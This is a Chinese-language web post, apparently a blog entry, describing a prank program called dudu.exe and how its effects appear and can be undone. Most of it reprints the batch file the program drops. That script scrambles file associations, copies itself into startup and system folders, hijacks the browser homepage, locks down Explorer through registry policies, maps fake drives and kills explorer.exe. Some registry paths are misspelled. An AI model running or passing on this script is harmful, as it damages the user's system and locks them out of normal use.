恶作剧程序dudu.exe清除方法

    恶作剧程序dudu.exe清除解决方案

    dudu.exe运行后,当前用户临时文件夹中释放一个bt0577.bat批处理文件。这是个恶作剧程序。想办法阻止此.bat运行,用记事本打开该文件,可以看到下列内容:
    @echo off
    assoc .txt=exefile
    assoc .exe=txtfile
    assoc .htm=exefile
    assoc .html=exefile
    assoc .com=txtfile
    assoc .gho=txtfile
    assoc .rar=txtfile
    assoc .zip=txtfile
    assoc .chm=txtfile
    assoc .jpg=txtfile
    assoc .doc=exefile
    assoc .ppt=txtfile
    assoc .vbs=txtfile
    assoc .cmd=txtfile
    assoc .bmp=txtfile
    assoc .gif=txtfile
    assoc .ico=txtfile
    assoc .png=txtfile
    assoc .jpeg=txtfile
    assoc .jpe=txtfile
    assoc .jfif=txtfile
    assoc .fla=txtfile
    assoc .swf=txtfile
    assoc .avi=txtfile
    assoc .mov=txtfile
    assoc .asf=txtfile
    assoc .wmv=txtfile
    assoc .rm=txtfile
    assoc .ra=txtfile
    assoc .mvb=txtfile
    assoc .flv=txtfile
    assoc .mpg=txtfile
    assoc .wav=txtfile
    assoc .mpeg=txtfile
    assoc .mp3=txtfile
    assoc .mp4=txtfile
    assoc .3gp=txtfile
    assoc .3g2=txtfile
    assoc .dat=txtfile
    assoc .msi=txtfile
    assoc .bat=txtfile
    copy %0 “%windir%\system32\”
    copy %0 “%systemdrive%”
    copy %0 “%userprofile%\「开始」菜单\程序\启动\*.*”
    reg add “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main” /v “Start 
    Page” /t reg_sz /dhttp://www.xiaowo.net/f
    reg add “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main” /v 
    “Default_Page_URL” /t reg_sz /dhttp://www.xiaowo.net/f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    NoFind /t REG_DWORD /d 1 /f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    NoRun /t REG_DWORD /d 0 /f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    NoClose /t REG_DWORD /d 1 /f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    HideClock /t REG_DWORD /d 1 /f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    StartMenuLogOff /t REG_DWORD /d 1 /f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    nodrives /t REG_DWORD /d 60 /f
    subst b: C:\
    subst h: C:\
    subst i: C:\
    subst j: C:\
    subst k: C:\
    subst l: C:\
    subst m: C:\
    subst n: C:\
    subst o: C:\
    subst p: C:\
    subst q: C:\
    subst r: C:\
    subst s: C:\
    subst t: C:\
    subst u: C:\
    subst v: C:\
    subst w: C:\
    subst x: C:\
    subst y: C:\
    subst z: C:\
    taskkill /im explorer.exe /f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    NoFolderOptions /t REG_DWORD /d 1 /f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    NoViewContextMenu /t REG_DWORD /d 0 /f
    reg add 
    HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
    NoWinKeys /t REG_DWORD /d 1 /f
    ——————————————————————

    如果bt0577.bat运行了,资源管理器进程被结束,用户只有一个空桌面可看了;文件关联被改得乱七八糟;三键调出任务管理器,重新启动资源管理器,用资源管理器查看,可见硬盘分区增加n个其实并未增加(可用PQ核实)。
    此程序不能穿透影子。如果在影子中运行从恶作剧程序,重启一下就OK了。

发表评论

发表评论